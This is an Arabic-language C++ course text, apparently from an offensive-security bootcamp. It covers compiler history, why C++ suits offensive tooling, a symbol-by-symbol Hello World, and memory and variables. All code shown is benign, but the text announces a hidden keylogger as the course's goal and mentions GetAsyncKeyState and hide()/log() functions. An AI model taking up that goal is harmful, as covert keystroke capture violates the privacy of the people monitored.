المترجِم الذي سنستعمله في هذه الدورة هو g++، وهو جزء من مشروع GCC — GNU Compiler Collection. مجّانيّ ومفتوح المصدر، ويعمل على Linux و Windows و macOS. بدأه Richard Stallman عام 1987.

قصّة من التاريخ. أوّل Compiler في العالم كتبته Grace Hopper عام 1952 واسمه A-0. قبله كان المبرمجون يكتبون لغة الآلة مباشرةً — 0 و 1 بأيديهم. أدركت Hopper أنّ البشر أفضل في الكلمات والآلات أفضل في الأرقام، فبنت الجسر بينهما. كلّ سطر ستكتبه في هذا الفصل يمرّ على ذلك الجسر.

شجرة عائلة C++

اللغة التي ستتعلّمها لم تظهر فجأةً؛ لها نسب يفسّر كثيراً من غرائبها.

السنةالمحطّةمن ولماذا
1972CDennis Ritchie في Bell Labs: لغة نظم بدائيّة لبناء UNIX، سريعة وقريبة من المعالج
1979C with ClassesBjarne Stroustrup في Bell Labs: أضاف مفهوم الـ Classes إلى C
1983C++Rick Mascitti اقترح الاسم. ++ تعني «+1» في C، أي تطوير عليها
1998C++98أوّل معيار دوليّ رسميّ: namespaces و STL و templates. من هنا جاءت using namespace std
2011 فصاعداًC++11/14/17/20/23auto، lambda، smart pointers

نحن نستعمل C++ الكلاسيكيّة في هذا الفصل. ليست نقصاً: هي كلّ ما تحتاجه لبناء الأداة التي ينتهي إليها هذا المستند، وهي ما تستعمله الأدوات الحقيقيّة في الميدان.


لماذا C++ في الأمن الهجوميّ؟

أربعة أسباب، وكلّها عمليّة لا ذوقيّة:

  • وصول مباشر إلى Windows API. تتحدّث C++ مع نظام التشغيل بلا وسيط. دالّة مثل GetAsyncKeyState() تُستدعى كأيّ دالّة عاديّة، وسترى ذلك بنفسك في القسم 8.
  • لا تحتاج Runtime. الملفّ التنفيذيّ مستقلّ تماماً ويعمل على أيّ Windows بلا تثبيت Python ولا Java ولا .NET. هذه نقطة حاسمة سيتّضح وزنها في الفصول القادمة.
  • أداء عالٍ جدّاً. آلاف الفحوص في الثانية بلا تأخير ملحوظ.
  • معيار الصناعة. APT28 و Lazarus و APT41 كلّها تكتب أدواتها بـ C/C++.

وهنا الجملة التي تستحقّ أن تعلق في ذهنك: البرمجيّة الخبيثة مجرّد برمجيّة. تتبع قواعد البرمجة نفسها، وتُترجَم بالمترجِم نفسه، ويكتبها بشرٌ يرتكبون الأخطاء نفسها. لا سحر هناك — هندسة فحسب. من يفهم هذا يكفّ عن الخوف ويبدأ بالتحليل.


مقارنة: C++ مقابل Python

المعيارC++Python
يحتاج Runtime؟لا — ملفّ .exe مستقلّنعم — Python مطلوب على الجهاز
وصول إلى Windows API؟مباشر (native)عبر ctypes (أعقد)
حجم الملفّنحو 50 كيلوبايت5 ميغابايت فأكثر
تستعمله مجموعات APT؟نعم، الأكثر شيوعاًنادراً
سهولة التعلّمأصعبأسهل
سرعة التنفيذسريع جدّاًأبطأ بـ 10 إلى 100 مرّة

الفرق يظهر في سطر واحد. في C++:

cpp
GetAsyncKeyState(0x41);

وفي Python، للوصول إلى الدالّة نفسها:

python
import ctypes
ctypes.windll.user32.GetAsyncKeyState(0x41)

هذا ليس حكماً على Python. Python ممتاز للأتمتة وتحليل البيانات وكثير ممّا سنستعمله لاحقاً في هذا المعسكر نفسه. لكنّ أداةً يُفترض أن تعمل على جهاز لا تعرف ما المثبَّت عليه، وأن تتحدّث مع النظام مباشرةً، وأن تبقى صغيرة — تلك مهمّة C++.


خلاصة القسم

  • البرمجة كتابة تعليمات بلغة وسيطة يحوّلها الـ Compiler إلى ملفّ تنفيذيّ.
  • المترجِم الذي نستعمله g++ من مشروع GCC، مجّانيّ ومفتوح المصدر.
  • C++ بدأت باسم C with Classes على يد Bjarne Stroustrup عام 1979.
  • نختارها للوصول المباشر إلى Windows API ولأنّها لا تحتاج Runtime.
  • مجموعات APT الحقيقيّة تكتب أدواتها بـ C/C++.
  • Python أسهل لكنّه يحتاج وسيطاً للوصول إلى النظام.

اختبر نفسك

  1. ما الفرق بين Source Code و Executable، وما الذي يقف بينهما؟
  2. لماذا لا نكتب لغة الآلة مباشرةً ما دام المعالج يفهمها وحدها؟
  3. ماذا تعني ++ في اسم C++، ومن اقترح الاسم؟
  4. اذكر سببين يجعلان C++ أنسب من Python لأداة تعمل على جهاز لا تتحكّم بإعداداته.
  5. ما معنى «البرمجيّة الخبيثة مجرّد برمجيّة»، ولماذا تهمّ هذه الجملة من يعمل في الدفاع؟

القسم 2القسم 2: Hello World — كل رمز مشروح

قبل أن نكتب أيّ شيء أعقد، نكتب البرنامج الذي يكتبه كلّ مبتدئ في العالم: Hello, World!. ستّة أسطر فقط. تبدو تافهة، لكنّها ليست كذلك — هذه الأسطر الستّة تحتوي على أكثر من ثلاثة عشر مفهوماً منفصلاً، ومعظم المبتدئين يكتبونها يوميّاً دون أن يعرفوا معنى رمز واحد فيها. نحن لن نفعل ذلك. سنفكّك كلّ حرف، كلّ قوس، كلّ علامة — لا نترك رمزاً بلا شرح.

هدف هذا القسم واضح: حين تنتهي منه، تستطيع أن تجلس بجانب زميل لم يكتب C++ في حياته، وتشرح له كلّ رمز على الشاشة بثقة. إن حقّقت ذلك، فكلّ ما يأتي بعده في هذه الدورة — الـ keylogger، والـ Windows API، والشبكات — سيُقرأ كلغة تعرفها، لا كطلاسم.

الكود الكامل: ستة أسطر، ثلاثة عشر مفهوماً

هذا هو البرنامج بأكمله:

cpp
#include <iostream>
using namespace std;

int main() {
    cout << "Hello, World!" << endl;
    return 0;
}

انظر إليه جيّداً. كلّ سطر هنا فيه أكثر من فكرة واحدة. السطر الأوّل يستدعي مكتبة. الثاني يفتح مساحة أسماء. الثالث يعلن دالّة ونوع إرجاع ونقطة دخول. الرابع يرسل نصّاً إلى الشاشة عبر عاملٍ أعيد استخدامه من مكان آخر. الخامس يُبلّغ نظام التشغيل بالنجاح. لن ننتقل من هذا القسم حتّى يصبح كلٌّ منها شفّافاً بالنسبة لك.

🧪 معمل: اكتب Hello World الآن

لا تقرأ فقط — نفّذ. افتح VS Code الآن واكتب الكود بيدك (لا نسخ ولصق؛ الكتابة باليد تُرسّخ الأشكال في ذهنك):

cpp
#include <iostream>
using namespace std;

int main() {
    cout << "Hello, World!" << endl;
    return 0;
}

الخطوات:

  1. افتح VS Code.
  2. أنشئ ملفّاً باسم hello.cpp.
  3. اكتب الكود أعلاه.
  4. افتح الـ Terminal وصرّف: g++ hello.cpp -o hello.exe
  5. شغّل: .\hello.exe

النتيجة المتوقّعة — سطر واحد فقط في الـ Terminal:

text
Hello, World!

إذا رأيت هذا السطر، فقد نجحت. أمّا إذا ظهر خطأ، فالأسباب الأكثر شيوعاً ثلاثة: رسالة 'g++' is not recognized تعني أنّ المصرّف غير مثبَّت — ثبّت MinGW أو MSYS2؛ أو نسيت فاصلة منقوطة ; في نهاية سطر؛ أو تركت علامة اقتباس " غير مغلقة. اقرأ رسالة الخطأ بهدوء — المصرّف يقول لك دائماً في أيّ سطر توقّف.

#include — استيراد ملفّ كتبه شخص آخر

لنبدأ من أوّل حرف. العلامة # تعني «تعليمة لـ Preprocessor» — والـ Preprocessor أداة تعمل قبل المصرّف الفعليّ، لا معه. مهمّتها بسيطة إلى حدّ الغرابة: تأخذ ملفّاً كتبه شخص آخر، وتنسخ محتواه داخل ملفّك حرفيّاً، قبل أن تبدأ الترجمة أصلاً. النتيجة أنّك تستفيد من كود جاهز — دوالّ وأنواع كتبها غيرك — دون أن تعيد كتابته.

تخيّل الأمر هكذا. أنت تكتب:

cpp
// ملفك
#include <iostream>
int main() { ... }

لكنّ ما يراه المصرّف فعليّاً ليس هذا. الـ Preprocessor يوسّع السطر الأوّل ويستبدله بمحتوى iostream بالكامل — آلاف الأسطر:

cpp
// ما يراه الـ Compiler
[ محتوى iostream كاملاً هنا، آلاف الأسطر ]
int main() { ... }

قصّة من التاريخ. ظهر الـ Preprocessor في لغة C في السبعينات، كأداة مستقلّة تماماً عن المصرّف. مهمّته الوحيدة كانت قراءة تعليمات مثل #include و #define و #ifdef ومعالجتها بطريقة نصّيّة بحتة — لا يفهم C، لا يفهم أنواعاً، لا يفهم شيئاً سوى النصّ. وهو ما زال كذلك اليوم. يمكنك أن تشغّله وحده وترى نتيجته بعينك: جرّب g++ -E hello.cpp وستحصل على ملفّ بآلاف الأسطر، كلّها ناتجة عن توسيع ذلك السطر الواحد.

<iostream> — مكتبة الإدخال والإخراج

الاسم نفسه يشرح ذاته إن فكّكته: io + stream. الجزء io اختصار Input/Output — الإدخال والإخراج. والجزء stream يعني «تيّار» بيانات يتدفّق من جهاز أو إليه: لوحة المفاتيح، الشاشة، ملفّ على القرص. فيكون iostream = «مكتبة تيّارات الإدخال والإخراج»، وهي التي تحمل تعريفات cout (للشاشة) و cin (للوحة المفاتيح) و endl وغيرها.

قد تسأل: لماذا الأقواس المثلّثة < > حول الاسم؟ لأنّها إشارة للمصرّف عن مكان البحث. الأقواس < > تعني: ابحث في مكتبات النظام — /usr/include في Linux، أو MinGW/include في Windows. أمّا لو استعملت علامات الاقتباس " " بدلاً منها، فأنت تقول: ابحث في مجلّد المشروع أوّلاً. الأولى للمكتبات القياسيّة، والثانية للملفّات التي كتبتها أنت.

وماذا يحدث لو حذفت هذا السطر؟ المصرّف لن يعرف ما هو cout، فيتوقّف ويعطيك خطأً صريحاً: 'cout' was not declared in this scope. الحلّ الوحيد أن تضيف #include <iostream> ليقرأ التعريفات. كلّ سطر #include <X> هو أمر للمصرّف: «اذهب إلى الملفّ X، اقرأ تعريفاته، وأضِفها إلى معرفتك». ومن المكتبات الشائعة التي ستقابلها لاحقاً: <fstream> للملفّات، و <string> للنصوص، و <windows.h> لواجهة Windows API.

🧪 معمل: ماذا يحدث بدون #include؟

لا تصدّقني — أثبتها بنفسك. عدّل hello.cpp وعلّق سطر الاستيراد بوضع // قبله:

cpp
// #include <iostream>     ← علّقها بـ //
using namespace std;

int main() {
    cout << "Test" << endl;
    return 0;
}

الخطوات:

  1. عدّل hello.cpp.
  2. ضع // قبل سطر #include.
  3. احفظ.
  4. حاول التصريف: g++ hello.cpp
  5. اقرأ رسالة الخطأ.

الخطأ المتوقّع:

text
hello.cpp: In function 'int main()':
hello.cpp:5:5: error: 'cout' was not declared in this scope

المصرّف لا يعرف ما هو cout لأنّ iostream لم تُضمَّن. هذا يثبت أنّ #include ليس زخرفة ولا عادة نكتبها بلا سبب — بل ضرورة تُحضِر التعريفات التي يعتمد عليها الكود. أعِد السطر إلى ما كان قبل أن تكمل.

using namespace std; — استخدام مساحة الأسماء القياسيّة

هذا السطر ثلاث كلمات، ولكلّ كلمة معنى. using كلمة مفتاحية تعني «استخدم»، وظيفتها اختصار الكتابة. و namespace تعني «مساحة أسماء» — حاوية تجمع تعريفات متعلّقة ببعضها لتجنّب التضارب. و std اختصار standard، وهو اسم مساحة الأسماء التي تحوي كلّ المكتبة القياسيّة لـ C++.

فيكون معنى السطر بأكمله: «دعني أستخدم كلّ ما في مساحة الأسماء std دون أن أكتب std:: في كلّ مرّة». بدونه، كنت ستضطرّ لكتابة الاسم الكامل في كلّ استدعاء:

cpp
// مع using namespace std:     // بدون using namespace std:
cout << "Hi";                    std::cout << "Hi";
endl;                            std::endl;

قصّة من التاريخ. في الثمانينات والتسعينات، كانت المشاريع الكبيرة تجمع مكتبات من فرق مختلفة، وكلّ فريق يسمّي دوالّه بأسماء عامّة مثل log أو sort أو min. النتيجة كانت تضارباً في الأسماء (Name Collisions) يكسر الكود ولا يعرف المصرّف أيّ دالّة تقصد. في عام 1998 صدر أوّل معيار رسميّ لـ C++ — المعروف بـ C++98 أو ISO/IEC 14882:1998 — وأضاف الـ namespaces رسميّاً كحلّ لهذه المشكلة، ووُضعت المكتبة القياسيّة كلّها داخل مساحة واحدة اسمها std.

🧪 معمل: اكتب الكود بدون using namespace std

لترى بعينك ماذا يختصر هذا السطر، احذفه واكتب الأسماء كاملةً بدلاً منه:

cpp
#include <iostream>

int main() {
    std::cout << "Hello!" << std::endl;
    std::cout << "Every cout and endl needs std::" << std::endl;
    return 0;
}

النتيجة:

text
Hello!
Every cout and endl needs std::

نفس الناتج تماماً، لكنّ الكود أطول وأكثر تكراراً. ماذا تعلّمنا من هذا؟

  • std::cout و std::endl هما الاسمان الكاملان لـ cout و endl.
  • using namespace std; يختصر الكتابة فقط — لا يضيف ميزةً جديدة ولا قدرةً لم تكن موجودة.
  • في الشركات الكبيرة يُفضَّل عدم استعمال using namespace std داخل ملفّات الرؤوس .h، تجنّباً للتضارب حين يُدمج ملفّك مع ملفّات غيرك.
  • في البرامج الصغيرة — مثل كلّ برامج هذه الدورة — استعماله مقبول وشائع، فلا تقلق منه الآن.

لماذا الـ Namespaces أصلاً؟ مشكلة تضارب الأسماء

ذكرنا أنّ الـ namespaces حلّ لمشكلة تضارب الأسماء، لكنّ الكلام النظريّ لا يكفي. لنرَ المشكلة بعينها. تخيّل أنّ تطبيقك يستعمل مكتبتين من فريقين مختلفين:

  • مكتبة MathLib فيها دالّة log(x) لحساب اللوغاريتم.
  • مكتبة AuditLib فيها دالّة log(msg) لتسجيل أحداث الأمان.

كلتاهما اسمها log. بدون namespaces، ينفجر التضارب — المصرّف لا يعرف أيّ log تقصد حين تكتب log(...). لكن مع الـ namespaces، تصبح لكلّ دالّة عنوان كامل، فلا التباس:

cpp
namespace MathLib {
    void log(double x) { /* natural log */ }
}
namespace AuditLib {
    void log(string msg) { /* write to audit file */ }
}
MathLib::log(2.718);       // ← اللوغاريتم الطبيعي
AuditLib::log("login");    // ← تسجيل دخول

كلّ دالّة صارت تحمل عنوانها الكامل: MathLib::log أو AuditLib::log، ولا تضارب أبداً. هذا بالضبط سبب وضع المكتبة القياسيّة داخل std: كي لا تصطدم أسماؤها بأسمائك.

🧪 معمل: جرّب الـ Namespaces بنفسك

اكتب هذا البرنامج الذي يعرّف دالّتين بنفس الاسم في مساحتين مختلفتين:

cpp
#include <iostream>
using namespace std;

namespace MathLib {
    void log(double x) {
        cout << "MathLib::log(" << x << ")\n";
    }
}
namespace AuditLib {
    void log(string msg) {
        cout << "AuditLib::log(\"" << msg << "\")\n";
    }
}
int main() {
    MathLib::log(2.718);
    AuditLib::log("user logged in");
    return 0;
}

النتيجة:

text
MathLib::log(2.718)
AuditLib::log("user logged in")

دالّتان بنفس الاسم log، تعملان جنباً إلى جنب، بلا أيّ تضارب. احفظ الملفّ باسم ns.cpp، ثمّ صرّف g++ ns.cpp -o ns.exe، ثمّ شغّل .\ns.exe. هذه هي المشكلة التي حُلّت في 1998، تراها تُحلّ أمامك.

int — نوع الإرجاع (Integer)

لننتقل إلى السطر الثالث: int main(). ما معنى int قبل اسم الدالّة؟ الكلمة int اختصار integer — أي عدد صحيح. وموضعها قبل اسم الدالّة له معنى محدّد: «هذه الدالّة ستُرجع رقماً صحيحاً عند انتهائها». وفي main() تحديداً، الرقم المُرجَع يخبر نظام التشغيل بأمر واحد مهمّ: هل انتهى البرنامج بنجاح أم بفشل؟

والأنواع لا تقتصر على int. لكلّ دالّة نوع إرجاع يصف ما تعيده:

النوعماذا يُرجعمتى يُستخدم
intرقم صحيح (مثل 0, 1, -5)كلّ main()، والدوال الحسابية
voidلا شيء (لا يُرجع قيمة)دوال تنفّذ فعلاً بدون نتيجة
booltrue أو falseدوال تفحص شيئاً
doubleرقم عشري (مثل 3.14)حسابات علمية
stringنصّدوال تُرجع كلاماً

في كلّ برامجنا اليوم، ستكون main() دائماً من النوع int main() — هذه قاعدة معيار C++، لا خيار شخصيّ.

main() — نقطة بداية البرنامج

main اسم دالّة خاصّ جدّاً. عند تشغيل أيّ برنامج C++، يبحث نظام التشغيل عن هذه الدالّة تحديداً ويستدعيها أوّلاً. أيّ كود تكتبه خارج main() لن يُنفَّذ تلقائيّاً — main هي الباب الوحيد للدخول إلى برنامجك. أمّا الأقواس () بعد الاسم فتعني «هذه دالّة»، حتّى لو لم تأخذ أيّ معطيات (parameters) بين قوسيها.

cpp
int main() {
    // كل شيء هنا
    // يُنفّذ
    return 0;
}

لنتتبّع ما يحدث فعليّاً حين تُشغّل البرنامج، خطوةً خطوة:

  1. أنت تكتب في الـ Terminal: .\hello.exe
  2. نظام التشغيل يحمّل الملفّ إلى الذاكرة.
  3. يبحث عن main.
  4. يستدعي main().
  5. ينفّذ السطور داخلها بالترتيب، واحداً بعد آخر.
  6. يقرأ return 0 فينتهي البرنامج.

تذكّر هذا الاسم جيّداً، فسيعود بقوّة لاحقاً: في برنامج الـ Keylogger النهائيّ، ستكون main() هي التي تستدعي hide() ثمّ log() — أي مدير الأوركسترا الذي ينظّم كلّ شيء من نقطة واحدة.

{ } — الأقواس المعقوفة: كتلة من الكود (Scope)

لاحظت القوسين { و } يحيطان بجسم الدالّة. القوس { يفتح «كتلة كود» — مجموعة سطور تنتمي لبعضها كوحدة واحدة. والقوس } يغلق تلك الكتلة. المصرّف يستعملهما ليعرف أين تبدأ دالّتك وأين تنتهي؛ كلّ ما بينهما يُعامَل كجسم واحد:

cpp
int main() {                  // ← فتح كتلة main
    cout << "line 1";
    cout << "line 2";         // هذه السطور تنتمي لـ main
    return 0;
}                             // ← إغلاق كتلة main

لكنّ للأقواس المعقوفة معنى أعمق من مجرّد «البداية والنهاية»، وهو مفهوم الـ Scope (النطاق). كلّ زوج { } ينشئ نطاقاً جديداً، والمتغيّرات التي تُعلَن داخل الكتلة تختفي بمجرّد الوصول إلى }. سنرى هذا بتفصيل كامل في قسم الـ Functions لاحقاً؛ يكفيك الآن أن تتذكّر أنّ { و } هما حدود الكتلة، وأنّ ما بداخلهما له عالمه الخاصّ.

cout — تيّار إخراج الحروف (Character Output Stream)

الآن نصل إلى قلب السطر الذي يطبع النصّ. الاسم cout مركّب من جزأين: c من character أي حرف، و out من output أي إخراج. فيكون cout = «تيّار إخراج الحروف» — وهو كائن جاهز في مكتبة iostream يمثّل الشاشة، أي الـ Standard Output. حين تكتب cout << "Hi"; فأنت ترسل النصّ "Hi" إلى الشاشة.

و cout ليس وحيداً — إنّه واحد من عائلة من التيّارات، كلّها تعمل بنفس المنطق:

الـ Objectماذا يمثّلاتجاه البيانات
coutالشاشة (Standard Output)البرنامج ← الشاشة
cinلوحة المفاتيح (Standard Input)لوحة المفاتيح ← البرنامج
cerrالشاشة (Standard Error)للأخطاء — لا يُحفظ في buffer
ofstreamملف للكتابةالبرنامج ← ملف
ifstreamملف للقراءةملف ← البرنامج

كلّ هذه الكائنات تستعمل نفس الأسلوب — << للإخراج و >> للإدخال — لأنّها كلّها «streams»، أي تيّارات. حين تتقن cout، تكون قد أتقنت مبدأً يسري على الملفّات والأخطاء ولوحة المفاتيح معاً.

<< — عامل الإدخال إلى الـ Stream

العلامة << اسمها «insertion operator» أي عامل الإدخال. عملها بسيط: تأخذ ما على يمينها وتُدخله في التيّار الذي على يسارها. فحين تكتب cout << "Hi"; أنت تقول: «ضع النصّ "Hi" في تيّار الشاشة». وتستطيع ربط عدّة قيم في سطر واحد، فتصبح كلّ << عمليّة إدخال مستقلّة تتلوها الأخرى:

cpp
cout << "X = " << 42 << endl;   // ثلاث عمليات إدخال متتالية

قصّة من التاريخ. قد تسأل: لماذا اختار Bjarne Stroustrup هذه العلامة بالذات؟ لأنّها كانت موجودة أصلاً في لغة C، لكن بمعنى مختلف تماماً — كانت عامل الإزاحة الثنائية (bitwise left shift)، فمثلاً 5 << 1 يساوي 10. أعاد Stroustrup استخدام نفس العلامة للتيّارات (وهذا ما يُسمّى Operator Overloading) لسبب بصريّ لطيف: السهمان << يشبهان تدفّق البيانات، وكأنّ «النصّ يتدفّق إلى التيّار».

والطريف أنّ المعنى القديم لم يُلغَ — العلامة صار لها معنيان حسب السياق، والمصرّف يميّز بينهما من نوع المعاملات:

cpp
// نفس العلامة، معنيان:
int x = 5 << 1;     // = 10 (إزاحة ثنائية)
cout << "hi";       // إدخال للـ stream

القاعدة التي يتّبعها المصرّف: رقم << رقم = إزاحة، و stream << أيّ شيء = إدخال. علامة واحدة، سياقان.

endl — إنهاء السطر (End Line)

في نهاية سطر الطباعة نجد endl. قد تظنّه مجرّد «سطر جديد»، لكنّه يفعل شيئين معاً:

  1. يُدخل حرف «سطر جديد» (\n) في التيّار.
  2. يُفرغ الـ buffer (flush) — أي يجبر النصّ على الظهور فوراً على الشاشة.

لماذا الإفراغ مهمّ؟ لأنّ النصّ بدون endl قد يتراكم في الذاكرة (buffer) ولا يظهر إلّا بعد أن تمتلئ. قارن بين ثلاث طرق:

cpp
cout << "A" << endl;   // "A" ثم سطر جديد + flush
cout << "B" << "\n";   // "B" + سطر جديد فقط (بلا flush)
cout << "C";           // "C" بدون سطر جديد

الناتج:

text
A
B
C

لاحظ أنّه لا سطر جديد بعد C، لأنّنا لم نضف \n ولا endl بعده. الخيار الأكثر استعمالاً وأماناً للمبتدئ هو endl — واضح ويضمن ظهور النصّ فوراً.

وهنا لمحة عمليّة تسبق الـ Keylogger: حين نسجّل ضغطة Enter في ملفّ لاحقاً، سنكتب write << "<enter>\n"; مستعملين \n مباشرةً بدل endl. السبب أنّنا نكتب في ملفّ لا على الشاشة، فلا نحتاج إفراغ الـ buffer في كلّ مرّة — وهذا أسرع قليلاً من endl. لكلّ سياق أداته.

; — الفاصلة المنقوطة: نهاية التعليمة

قد تبدو الفاصلة المنقوطة تفصيلاً لا يستحقّ الشرح، لكنّها من أكثر مصادر أخطاء المبتدئين. C++ تسمح لك بكتابة تعليمة على سطر واحد، أو موزّعة على عدّة أسطر. المصرّف لا يعرف أين تنتهي التعليمة من مجرّد «اللفّ» إلى سطر جديد — يحتاج إشارة صريحة. والفاصلة المنقوطة ; هي تلك الإشارة: «هنا انتهت التعليمة، انتقل إلى التالية».

cpp
// كلاهما صحيح:
cout << "A"; cout << "B";

cout
  << "A"
  << "B";

السطران متكافئان تماماً؛ ما يهمّ المصرّف هو الفاصلة المنقوطة في النهاية، لا عدد الأسطر. والخطأ الأكثر شيوعاً على الإطلاق للمبتدئين هو نسيانها في نهاية سطر، ورسالة الخطأ غالباً تكون: expected ';' before '...'. وحين تراها، القاعدة الذهبيّة: انظر إلى السطر السابق دائماً، فالفاصلة الناقصة هناك عادةً، لا في السطر الذي أشار إليه المصرّف.

ملاحظة دقيقة تنفعك لاحقاً: التعليمات داخل أقواس if و for و while لا تحتاج ; قبل الكتلة { }. لكن نهاية أيّ تعليمة عاديّة، ضع ; دائماً.

return 0; — إنهاء الدالّة وإرجاع قيمة

آخر سطر فعّال في البرنامج. الكلمة return تعني «أرجِع»، وهي كلمة مفتاحية تنهي تنفيذ الدالّة فوراً. والرقم بعدها هو القيمة المُرجَعة، وفي main() تحديداً تذهب هذه القيمة إلى نظام التشغيل. القاعدة العالميّة: 0 يعني نجاحاً، وأيّ رقم آخر يعني فشلاً.

cpp
int main() {
    cout << "running...";
    return 0;              // OS يستلم 0
    cout << "dead code";   // لا يُنفّذ
}

لاحظ السطر الأخير: أيّ كود بعد return لا يُنفَّذ أبداً، لأنّ الدالّة انتهت عند return. نسمّي هذا «كوداً ميتاً» (dead code).

اختبر بنفسك في الـ Terminal. يمكنك أن ترى القيمة المُرجَعة بعينك. شغّل البرنامج ثمّ اطلب من النظام آخر «كود خروج»:

text
.\hello.exe
echo %ERRORLEVEL%    ← على Windows
echo $?              ← على Linux/Mac

سترى 0 — أي نجاح.

قصّة من التاريخ. من أين جاء هذا الاتّفاق؟ وضعه Ken Thompson و Dennis Ritchie في نظام UNIX في السبعينات: «0 يعني نجاحاً، وأيّ شيء آخر يعني فشلاً» — وذلك لتسهيل كتابة scripts تتحقّق من نجاح الأوامر قبل تشغيل التالي. وكلّ أدوات Linux و Windows اليوم، بعد نصف قرن، ما زالت تتبع هذا الاتّفاق نفسه.

ملخّص القسم: الرموز الاثنا عشر

فكّكنا ستّة أسطر رمزاً رمزاً. تأكّد أنّك تستطيع شرح كلّ نقطة من هذه لزميلك قبل الانتقال:

  • #include — تعليمة Preprocessor تنسخ محتوى ملفّ آخر داخل ملفّك قبل الترجمة.
  • <iostream> — مكتبة تيّارات الإدخال والإخراج (cout, cin, endl)، والأقواس < > تعني ابحث في مكتبات النظام.
  • using namespace std; — اختصار لعدم كتابة std:: في كلّ مرّة، أُضيف رسميّاً في C++98 حلّاً لتضارب الأسماء.
  • الـ Namespaces — تعطي كلّ دالّة عنواناً كاملاً (MathLib::log) فلا تصطدم الأسماء المتشابهة.
  • int main() — نقطة دخول البرنامج، تُرجع كود حالة لنظام التشغيل.
  • { } — حدود كتلة الكود، وكلّ كتلة تنشئ نطاقاً (Scope) جديداً.
  • cout — تيّار الشاشة، و << عامل الإدخال (إعادة استخدام بصريّة لعامل الإزاحة الثنائية).
  • endl — سطر جديد (\n) + إفراغ الـ buffer.
  • ; — نهاية التعليمة، وأشيع خطأ للمبتدئ نسيانها.
  • return 0; — إنهاء الدالّة وإرجاع النجاح (اتّفاق UNIX منذ السبعينات).

هذه الرموز الاثنا عشر ليست تفاصيل تُحفظ وتُنسى — إنّها الأبجدية التي سيُكتب بها كلّ سطر بعد هذا القسم. من يفهمها يقرأ الـ keylogger كما يقرأ جملةً في لغته.

اختبر نفسك

  1. ما الفرق بين الأقواس < > وعلامات الاقتباس " " في تعليمة #include، ومتى تستعمل كلّاً منهما؟
  2. زميلك حذف سطر #include <iostream> وظهر له خطأ 'cout' was not declared in this scope. اشرح له بدقّة لماذا حدث هذا الخطأ تحديداً.
  3. ماذا يفعل endl أكثر من مجرّد \n، ولماذا قد نفضّل \n عند الكتابة في ملفّ؟
  4. لماذا لا تصطدم دالّتان اسمهما log إذا كانت كلّ واحدة داخل namespace مختلف؟ اكتب مثالاً مصغّراً يوضّح ذلك.
  5. لو كتبت سطراً بعد return 0; داخل main()، هل سيُنفَّذ؟ ولماذا؟ وما القيمة التي يستلمها نظام التشغيل، وماذا تعني؟

القسم 3القسم 3: الذاكرة والمتغيّرات وأنواع البيانات

حتى الآن كتبتَ برنامجاً يطبع نصّاً ثابتاً. لكنّ البرنامج الذي يطبع النصّ نفسه في كلّ مرّة ليس برنامجاً مفيداً — الفائدة تبدأ حين يحتفظ البرنامج بشيء، يغيّره، ثمّ يقرّر بناءً عليه. هذا «الشيء» اسمه متغيّر، ومكان سكنه اسمه الذاكرة. وقبل أن نتعلّم كيف نكتب متغيّراً، علينا أن نفهم أين يذهب فعلاً — لأنّ كلّ ما سنبنيه لاحقاً في هذا الفصل وما بعده يقف على هذا الفهم.

ما هي ذاكرة الحاسوب (RAM)؟

تخيّل الذاكرة شارعاً طويلاً جدّاً، فيه ملايين الصناديق المتراصّة جنباً إلى جنب. كلّ صندوق يحمل عنواناً (Address) فريداً — رقماً لا يتكرّر — ويحفظ بداخله قيمة صغيرة جدّاً: بايت واحد، أي رقم من 0 إلى 255. لا شيء آخر. لا حروف، لا كلمات، لا صور. أرقام في صناديق مرقّمة، وهذا كلّ ما تملكه الآلة.

عندما تنشئ متغيّراً، نظام التشغيل يحجز لك صندوقاً — أو عدّة صناديق متجاورة إن كان المتغيّر أكبر من بايت — ويعطيك اسماً تصل به إليها بدل أن تحفظ العنوان الرقميّ.

البِت والبايت

  • الـ Bit: أصغر وحدة معلومات على الإطلاق. قيمتها 0 أو 1 فقط، لا ثالث لهما.
  • البايت (Byte): تجمّع 8 بِتّات = 8 خانات ثنائيّة. يحفظ رقماً من 0 إلى 255، وهو أصغر وحدة مُعنوَنة في الذاكرة — أي أصغر شيء يملك عنواناً خاصّاً به.
  • ثمّ يتوالى التجمّع: 8 bits = 1 byte، و 1024 bytes = 1 KB، وهكذا صعوداً.

قد تسأل: إن كانت الذاكرة مجرّد صناديق مرقّمة، فلماذا لا أشعر بذلك وأنا أكتب C++؟ الجواب: لأنّ الـ Compiler يخفي عنك تفاصيل العناوين والـ bits. أنت تقول int x — وهو من طرفه يذهب، يحجز 4 صناديق متجاورة (4 بايتات = 32 bit)، ويربط الاسم x بها. هذا اختصار هائل مقارنةً ببرمجة لغة الآلة المباشرة، حيث كان عليك أن تتذكّر بنفسك أين وضعتَ كلّ قيمة.

ما هو المتغيّر (Variable)؟

المتغيّر = اسم نُعطيه لمكان في الذاكرة، ليسهل التعامل معه بدل تذكّر العنوان الرقميّ. والقيمة المخزّنة فيه قابلة للتغيير وقت التشغيل — ولهذا بالضبط سُمّي «متغيّراً».

cpp
int age = 25;
// نوع: int
// اسم: age
// قيمة: 25
// حجم: 4 bytes

age = 30;   // غيّرناها

ماذا حدث في الذاكرة بالضبط؟

عند السطر int age = 25; جرت ثلاث خطوات بالترتيب:

  1. حجزُ 4 بايتات متجاورة في الذاكرة.
  2. كتابةُ الرقم 25 فيها.
  3. ربطُ الاسم age بهذه المنطقة.

وعند السطر age = 30; لم يُحجز شيء جديد — لم يذهب البرنامج ليأخذ صناديق أخرى. استُبدلت القيمة القديمة بـ 30 في نفس الصناديق. هذه نقطة يخطئ فيها المبتدئون كثيراً: التعيين الثاني ليس إنشاءً، بل كتابةٌ فوق.

الصيغة العامّة

text
النوع  +  الاسم  +  قيمة ابتدائية ;

أمثلة:

cpp
int counter = 0;
string name = "Hashim";
bool active = true;

معمل: المتغيّرات والعمليات الحسابية

افتح VS Code الآن واكتب هذا الكود بنفسك — لا تنسخه إن استطعت، فاليد تُعلّم ما لا تُعلّمه العين:

cpp
#include <iostream>
using namespace std;

int main() {
    int x = 5;
    int y = 3;
    int sum = x + y;

    cout << "x = " << x << endl;
    cout << "y = " << y << endl;
    cout << "x + y = " << sum << endl;
    return 0;
}

النتيجة المتوقّعة:

text
x = 5
y = 3
x + y = 8

لاحظ أمرين: المتغيّرات احتفظت بقيمها حتى لحظة الطباعة، والحساب x + y أُنجز قبل الطباعة وخُزّنت نتيجته في sum.

